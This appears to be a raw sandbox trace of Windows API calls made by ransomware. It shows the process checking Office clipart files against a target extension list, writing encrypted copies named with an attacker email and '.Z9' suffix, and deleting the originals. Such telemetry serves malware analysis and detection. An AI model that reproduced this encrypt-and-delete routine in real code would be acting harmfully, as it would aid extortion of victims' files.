	[0081.859] lstrlenW (lpString=".zip") returned 4
	[0081.859] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.859] lstrlenW (lpString=".rar") returned 4
	[0081.859] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.859] lstrlenW (lpString=".bz2") returned 4
	[0081.859] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.859] lstrlenW (lpString=".7z") returned 3
	[0081.859] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.859] lstrlenW (lpString=".dbf") returned 4
	[0081.859] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.859] lstrlenW (lpString=".1cd") returned 4
	[0081.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.859] lstrlenW (lpString=".jpg") returned 4
	[0081.859] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.859] lstrlenW (lpString=".doc") returned 4
	[0081.859] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.859] lstrlenW (lpString=".docx") returned 5
	[0081.860] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.860] lstrlenW (lpString=".pdf") returned 4
	[0081.860] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.860] lstrlenW (lpString=".xls") returned 4
	[0081.860] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.860] lstrlenW (lpString=".xlsx") returned 5
	[0081.860] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.860] lstrlenW (lpString=".ppt") returned 4
	[0081.860] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.860] lstrlenW (lpString=".zip") returned 4
	[0081.860] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.860] lstrlenW (lpString=".rar") returned 4
	[0081.860] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.860] lstrlenW (lpString=".bz2") returned 4
	[0081.860] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0081.860] lstrlenW (lpString=".7z") returned 3
	[0081.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0081.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.860] lstrlenW (lpString=".dbf") returned 4
	[0081.860] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0081.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.860] lstrlenW (lpString=".1cd") returned 4
	[0081.860] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0081.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68
	[0081.860] lstrlenW (lpString=".jpg") returned 4
	[0081.860] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0081.860] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0081.860] lstrlenW (lpString="AG00174_.GIF") returned 12
	[0081.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.861] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3966) returned 1
	[0081.861] CloseHandle (hObject=0x384) returned 1
	[0081.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220
	[0081.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0081.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0081.862] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.862] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0081.862] GetLastError () returned 0x0
	[0081.862] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xf7e, lpOverlapped=0x0) returned 1
	[0082.215] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf80, lpOverlapped=0x0) returned 1
	[0082.253] ReadFile (in: hFile=0x384, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.253] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.253] SetEndOfFile (hFile=0x370) returned 1
	[0082.253] CloseHandle (hObject=0x370) returned 1
	[0082.254] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.254] SetEndOfFile (hFile=0x384) returned 1
	[0082.255] CloseHandle (hObject=0x384) returned 1
	[0082.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1
	[0082.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.342] lstrlenW (lpString=".doc") returned 4
	[0082.343] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.343] lstrlenW (lpString=".docx") returned 5
	[0082.343] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.343] lstrlenW (lpString=".pdf") returned 4
	[0082.343] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.343] lstrlenW (lpString=".xls") returned 4
	[0082.343] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.343] lstrlenW (lpString=".xlsx") returned 5
	[0082.343] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.343] lstrlenW (lpString=".ppt") returned 4
	[0082.343] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.343] lstrlenW (lpString=".zip") returned 4
	[0082.343] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.343] lstrlenW (lpString=".rar") returned 4
	[0082.343] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.343] lstrlenW (lpString=".bz2") returned 4
	[0082.343] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.343] lstrlenW (lpString=".7z") returned 3
	[0082.343] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.343] lstrlenW (lpString=".dbf") returned 4
	[0082.343] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.343] lstrlenW (lpString=".1cd") returned 4
	[0082.343] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.343] lstrlenW (lpString=".jpg") returned 4
	[0082.343] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.343] lstrlenW (lpString=".doc") returned 4
	[0082.343] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0082.343] lstrlenW (lpString=".docx") returned 5
	[0082.343] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0082.344] lstrlenW (lpString=".pdf") returned 4
	[0082.344] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0082.344] lstrlenW (lpString=".xls") returned 4
	[0082.344] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0082.344] lstrlenW (lpString=".xlsx") returned 5
	[0082.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0082.344] lstrlenW (lpString=".ppt") returned 4
	[0082.344] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0082.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.344] lstrlenW (lpString=".zip") returned 4
	[0082.344] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0082.344] lstrlenW (lpString=".rar") returned 4
	[0082.344] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0082.344] lstrlenW (lpString=".bz2") returned 4
	[0082.344] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0082.344] lstrlenW (lpString=".7z") returned 3
	[0082.344] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0082.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.344] lstrlenW (lpString=".dbf") returned 4
	[0082.344] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0082.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.344] lstrlenW (lpString=".1cd") returned 4
	[0082.344] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0082.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68
	[0082.344] lstrlenW (lpString=".jpg") returned 4
	[0082.344] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0082.344] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.344] lstrlenW (lpString="AN01039_.WMF") returned 12
	[0082.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.640] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3344) returned 1
	[0082.640] CloseHandle (hObject=0x338) returned 1
	[0082.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220
	[0082.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.671] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.671] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.767] GetLastError () returned 0x0
	[0082.775] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xd10, lpOverlapped=0x0) returned 1
	[0082.796] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xd20, lpOverlapped=0x0) returned 1
	[0082.797] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.797] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.798] SetEndOfFile (hFile=0x364) returned 1
	[0082.798] CloseHandle (hObject=0x364) returned 1
	[0082.798] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.798] SetEndOfFile (hFile=0x338) returned 1
	[0082.799] CloseHandle (hObject=0x338) returned 1
	[0082.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1
	[0082.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.800] lstrlenW (lpString=".doc") returned 4
	[0082.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.800] lstrlenW (lpString=".docx") returned 5
	[0082.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.800] lstrlenW (lpString=".pdf") returned 4
	[0082.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.800] lstrlenW (lpString=".xls") returned 4
	[0082.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.800] lstrlenW (lpString=".xlsx") returned 5
	[0082.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.800] lstrlenW (lpString=".ppt") returned 4
	[0082.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.800] lstrlenW (lpString=".zip") returned 4
	[0082.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.800] lstrlenW (lpString=".rar") returned 4
	[0082.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.800] lstrlenW (lpString=".bz2") returned 4
	[0082.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.800] lstrlenW (lpString=".7z") returned 3
	[0082.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.800] lstrlenW (lpString=".dbf") returned 4
	[0082.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.800] lstrlenW (lpString=".1cd") returned 4
	[0082.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.800] lstrlenW (lpString=".jpg") returned 4
	[0082.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.801] lstrlenW (lpString=".doc") returned 4
	[0082.801] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString=".docx") returned 5
	[0082.801] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.801] lstrlenW (lpString=".pdf") returned 4
	[0082.801] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString=".xls") returned 4
	[0082.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.801] lstrlenW (lpString=".xlsx") returned 5
	[0082.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.801] lstrlenW (lpString=".ppt") returned 4
	[0082.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.801] lstrlenW (lpString=".zip") returned 4
	[0082.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.801] lstrlenW (lpString=".rar") returned 4
	[0082.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString=".bz2") returned 4
	[0082.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString=".7z") returned 3
	[0082.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.801] lstrlenW (lpString=".dbf") returned 4
	[0082.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.801] lstrlenW (lpString=".1cd") returned 4
	[0082.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0082.801] lstrlenW (lpString=".jpg") returned 4
	[0082.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.802] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.802] lstrlenW (lpString="AN02724_.WMF") returned 12
	[0082.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.802] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2108) returned 1
	[0082.802] CloseHandle (hObject=0x338) returned 1
	[0082.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220
	[0082.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.802] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.802] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0082.803] GetLastError () returned 0x0
	[0082.803] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x83c, lpOverlapped=0x0) returned 1
	[0082.804] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x840, lpOverlapped=0x0) returned 1
	[0082.805] ReadFile (in: hFile=0x338, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.805] WriteFile (in: hFile=0x364, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.805] SetEndOfFile (hFile=0x364) returned 1
	[0082.805] CloseHandle (hObject=0x364) returned 1
	[0082.806] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.806] SetEndOfFile (hFile=0x338) returned 1
	[0082.807] CloseHandle (hObject=0x338) returned 1
	[0082.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1
	[0082.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68
	[0082.807] lstrlenW (lpString=".doc") returned 4
	[0082.807] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.807] lstrlenW (lpString=".docx") returned 5
	[0082.807] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.807] lstrlenW (lpString=".pdf") returned 4
	[0082.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.808] lstrlenW (lpString=".xls") returned 4
	[0082.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.808] lstrlenW (lpString=".xlsx") returned 5
	[0082.808] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.808] lstrlenW (lpString=".ppt") returned 4
	[0082.808] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
